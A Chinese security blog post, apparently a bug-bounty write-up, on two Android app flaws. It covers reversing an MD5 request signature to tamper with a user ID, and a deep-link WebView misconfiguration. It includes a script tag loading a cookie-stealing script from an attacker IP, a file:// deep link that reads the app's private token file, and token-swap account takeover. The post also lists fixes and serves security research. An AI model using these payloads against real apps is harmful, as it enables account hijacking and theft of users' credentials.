当前位置：首页 > news >正文

移动安全实战分享

news 来源：原创 2024/5/7 12:19:34

前言

好久没有更新文章了，失踪人口回归（偷看），在失踪期间也学了些新东西，最近活跃在补天src，有些小成果想和大家分享一下。下面是来自移动安全偶尔学习时长一年的个人练习生***给大家分享两个移动逆向漏洞。

测试环境

android 8.1 已root
jadx-gui 反编译
blackdex 脱壳工具

案例 1 - 逆向解密sign签名修改数据越权

现在的app在使用http或者https进行数据交互的时候，为了防止数据被攻击者纂改都会添加一个sign签名值，只要sign签名校验不通过便不会返回正确响应请求。一般我们可以通过逆向反编译查看源码分析sign的组成，编写修改之后的sign加密脚本就能绕过sign签名限制，这样子以来测试久方便多了。下面来看案例：

确定身份鉴别字段

在一次测试一款app中访问个人评论接口时，发现post请求的body中携带了uid字段，再加上请求体中也没有Cookie、token等字样，从这就能判断出uid字段是后台用来识别用户身份的，这样子一来我们就可以通过修改uid来越权查看他人的评论（这不是一个简简单单的越权到手了么）。

当前用户正常访问时返回了正确的评论
在这里插入图片描述
修改uid后没有返回数据，说明是sign签名在搞鬼，目前已经确定了uid是鉴别用户身份的字段，接下来就是解密sign了

反编译分析源码

使用jadx对脱壳的app进行反编译，搜索sign关键字

在这里插入图片描述
点击第一个跟进去发现调用了一个函数，参数是hashmap，再结合当前函数不难看出就是对body的内容进行加密操作的

查看 m12919a 函数内具体操作，m12919a 调用了 m12918a 函数，大概操作就是取body内容加上固定字符串 f10147ad小写之后进行md5加密
在这里插入图片描述

public static String m12919a(Map<String, Object> map) {
        String str;
        if (map == null || map.size() <= 0) {
            str = f10147a;
        } else {
            StringBuffer stringBuffer = new StringBuffer();
            List<Map.Entry<String, Object>> b = m12920b(map);
            for (int i = 0; i < b.size(); i++) {
                stringBuffer.append(b.get(i).toString());
            }
            stringBuffer.append(f10147a);
            str = stringBuffer.toString().toLowerCase();
        }
        return m12918a(str);
    }

编写加密脚本

加密脚本如下：
导入相应的函数和类库，构造 hashmap 参数，使用 m12919a 函数进行签名
在这里插入图片描述
运行之后得到的sign签名值和请求的签名值一毛一样，接下来就可以通过修改uid值来越权查看他人评论以及进行其他操作了(涉及敏感操作就不贴图了)

这个只是一个入门级的签名逆向，做个小分享，其他较难的sign签名校验绕过的思路都是一样的。

案例 2 - Deep Link + WebView 配置错误

Deep Link 简单理解为一个启动app页面的链接
WebView 简单理解为一个内置浏览器

获取token接管账号

deep link + webview可以执行 android 内的特权函数，但笔者测试后没发现影响较大的函数故就不做演示。

修改deep link

在测试某app发现一个deep link，具体内容为打开app内的某个页面

xxxx://open/openWebview?url=https://m.xxxx.com/detail

当我们把url改为 http://www.baidu.com的时候，我们点击这个deep link就会在该app内打开baidu的网站
在这里插入图片描述

这样就可以拿来钓鱼了，编写一个模拟该app的登录页面诱惑用户点击，因为钓鱼页面是在app内打开的，用户只会认为这个是该app的正常操作不会想到钓鱼。

获取Cookie

但是如果你只用来钓鱼就太肤浅了，在抓取 deep link 跳转包时发现鉴别用户身份的token字段竟然被放在Cookie里面，那么我们就可以通过xss来获取用户的token进而接管他的账号了。
在这里插入图片描述
poc.html，获取cookie的服务器

<script src="http://1.x.x.x:488/myjs/cookie.js"></script>

deeplink.html

xxxx://open/openWebview?url=https://ip/poc.html

当用户a 点击该deeplink.html链接时,就会触发我们poc中的获取cookie操作，得到cookie后我们模拟登录操作替换返回包中的token字段就能登入受害者a 的账号。
在这里插入图片描述

替换token

这里通过替换返回包的token就能接管账号的原因是因为app的token数据是本地存储的，而存储的token是登录的时候服务器返回的token，也就是我们在服务器和本地app中充当了中间人的角色，我们替换token本地app并不知道，而是还会以为这个token就是服务器返回的就会老老实实的存储，在后续的账号操作中都会使用这个token。

这里我们是账号b 正常登录，图中返回的数据也是账号b的但不过我们已经替换为账号a 的token字段，放包就会登入账号a ，进行任意操作。因为是真实案例，为避免一些隐私泄露打码会比较多。
在这里插入图片描述

跨域漏洞

通过笔者的深度挖掘，发现这个deep link的利用不止这一个，该app的用户鉴别身份的token字段被放在了用户私有app目录下的一个xml文件里面。
而deep link能使用file文件协议进行读取，详情请看：https://www.cnvd.org.cn/flaw/show/CNVD-2017-36682

<a href="xxxx://open/openWebview?url=file:///data/data/xxxxx/xxxx.xml">xxxx</a>

这样一来恶意应用就可以随意读取该app下的用户身份文件，也能像上一步操作一样通过替换token接管账号。
具体app的demo和样例笔者就不做演示，感兴趣的小伙伴可以自行查阅资料。
在这里插入图片描述

总结

漏洞的危害类似于近几年的应用克隆漏洞，危害较大。漏洞成因都是因为deep link没有对url内容进行限制，修复方式也很简单，添加url白名单，限制请求协议就可以避免漏洞产生，再一个app内访问外链时不应该携带Cookie。以上就是移动安全练习时长一年的个人练习生***给大家的案例分享，因为涉及隐私，步骤简略了些，但大概内容应该能看懂。